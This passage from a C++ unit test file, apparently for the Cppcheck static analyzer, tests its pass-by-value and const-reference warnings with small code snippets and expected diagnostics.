\"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::string* str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(&str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i1, const std::string& str, int& i2);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo((a+b)*c, str, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::string f(std::string str) {\\n\"\n \" str += x;\\n\"\n \" return str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" std::string s;\\n\"\n \" void func() const;\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" void func(std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(std::string str) {}\\n\" // Do not warn about virtual functions, if 'str' is not declared as const\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" char a[1024];\\n\"\n \"};\\n\"\n \"class Y : X {\\n\"\n \" char b;\\n\"\n \"};\\n\"\n \"void f(Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \"};\\n\"\n \"class Y {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \" char c;\\n\"\n \"};\\n\"\n \"void f(X x, Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:15]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n {\n // 8-byte data should be passed by const reference on 32-bit platform but not on 64-bit platform\n const char code[] = \"class X {\\n\"\n \" uint64_t a;\\n\"\n \" uint64_t b;\\n\"\n \"};\\n\"\n \"void f(X x) {}\";\n\n /*const*/ Settings s32 = settingsBuilder(_settings).platform(Platform::Type::Unix32).build();\n check(code, &s32);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings s64 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(code, &s64);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"Writer* getWriter();\\n\"\n \"\\n\"\n \"void foo(Buffer& buffer) {\\n\"\n \" getWriter()->operator<<(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_externC() {\n check(\"struct X { int a[5]; }; void f(X v) { }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(X v) { } }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; void f(const X v);\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(const X v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(const X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constVariable() {\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:10]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" const int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" static int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" x.push_back(1);\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" x[0]++;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a = 1;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a(); };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a();\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int& x);\\n\"\n \"int f(std::vector& x) {\\n\"\n \" g(x[0]);\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T&& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\\n\"\n \"void h() { std::vector v; h(v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& x) {\\n\"\n \" return std::move(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::ostream& os) {\\n\"\n \" os << \\\"Hello\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int& x) {\\n\"\n \" g(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A{&x};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int& y) {\\n\"\n \" y++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(int& y) : x(&y) {}\\n\"\n \" int * x = nullptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void swap(A& a) {\\n\"\n \" v.swap(a.v);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" template\\n\"\n \" void f();\\n\"\n \" template\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void g(A& a) {\\n\"\n \" a.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto&& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'x' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10980\n \" for (int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:6:16]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(const auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" int& j = i;\\n\"\n \" j++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int& i = v[0];\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map >& m, unsigned int i) {\\n\"\n \" std::map& members = m[i];\\n\"\n \" members.clear();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int& x;\\n\"\n \" A(int& y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A(int& x);\\n\"\n \"};\\n\"\n \"struct B : A {\\n\"\n \" B(int& x) : A(x)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int& x, int& y) {\\n\"\n \" auto& z = x;\\n\"\n \" auto& w = b ? y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"int& f(S& s) {\\n\"\n \" return s.i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::list& x, unsigned int y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return &m;\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::list& x, int& y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool from_string(int& t, const std::string& s) {\\n\"\n \" std::istringstream iss(s);\\n\"\n \" return !(iss >> t).fail();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9710\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n //cast or assignment to a non-const reference should prevent the warning\n check(\"struct T { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const T& z = x;\\n\" // Make sure we find all assignments\n \" T& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = x\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::type& y = x;\\n\" // we don't know if y is const or not\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x)\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U const * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::fancy const * const * const y = dynamic_cast const * const * const>(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (typename const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (typename U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = (U*)(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct C { void f() const; };\\n\" // #9875 - crash\n \"\\n\"\n \"void foo(C& x) {\\n\"\n \" x.f();\\n\"\n \" foo( static_cast(0) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"class a {\\n\"\n \" void foo(const int& i) const;\\n\"\n \" void operator()(int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n // #9767\n check(\"void fct1(MyClass& object) {\\n\"\n \" fct2([&](void){}, object);\\n\"\n \"}\\n\"\n \"bool fct2(std::function lambdaExpression, MyClass& object) {\\n\"\n \" object.modify();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9778\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B& f(A& x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10002\n check(\"using A = int*;\\n\"\n \"void f(const A& x) {\\n\"\n \" ++(*x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10086\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i) {\\n\"\n \" std::vector& arr = v;\\n\"\n \" return arr[i];\\n\"\n \" }\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void e();\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void ai(void);\\n\"\n \"void j(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void l(void);\\n\"\n \"void m(void);\\n\"\n \"void n(void);\\n\"\n \"void o(void);\\n\"\n \"void q(void);\\n\"\n \"void r(void);\\n\"\n \"void t(void);\\n\"\n \"void u(void);\\n\"\n \"void v(void);\\n\"\n \"void w(void);\\n\"\n \"void z(void);\\n\"\n \"void aj(void);\\n\"\n \"void am(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void ao(wchar_t *d);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void ap(wchar_t *c, int d);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void aq(char *b, size_t d, char *c, int a);\\n\"\n \"void ar(char *b, size_t d, char *c, va_list a);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void as(std::string s);\\n\"\n \"void at(std::ifstream &f);\\n\"\n \"void au(std::istream &f);\\n\"\n \"void av(std::string &aa, std::wstring &ab);\\n\"\n \"void aw(bool b, double x, double y);\\n\"\n \"void ax(int i);\\n\"\n \"void ay(std::string c, std::wstring a);\\n\"\n \"void az(const std::locale &ac);\\n\"\n \"void an();\\n\"\n \"void ba(std::ifstream &f);\\n\"\n \"void bb(std::istream &f) {\\n\"\n \"f.read(NULL, 0);\\n\"\n \"}\\n\"\n \"void h(void) {\\n\"\n \"struct tm *tm = 0;\\n\"\n \"(void)std::asctime(tm);\\n\"\n \"(void)std::asctime(0);\\n\"\n \"}\\n\"\n \"void bc(size_t ae) {\\n\"\n \"wchar_t *ad = 0, *af = 0;\\n\"\n \"struct tm *ag = 0;\\n\"\n \"(void)std::wcsftime(ad, ae, af, ag);\\n\"\n \"(void)std::wcsftime(0, ae, 0, 0);\\n\"\n \"}\\n\"\n \"void k(void) {}\\n\"\n \"void bd(void);\\n\"\n \"void be(void);\\n\"\n \"void bf(int b);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void bg(wchar_t *p);\\n\"\n \"void bh(const std::list &ak, const std::list &al);\\n\"\n \"void ah();\\n\"\n \"void an();\\n\"\n \"void h();\");\n ASSERT_EQUALS(\"[test.cpp:131:12]: (style) Variable 'tm' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:136:19]: (style) Variable 'af' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:137:12]: (style) Variable 'ag' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n 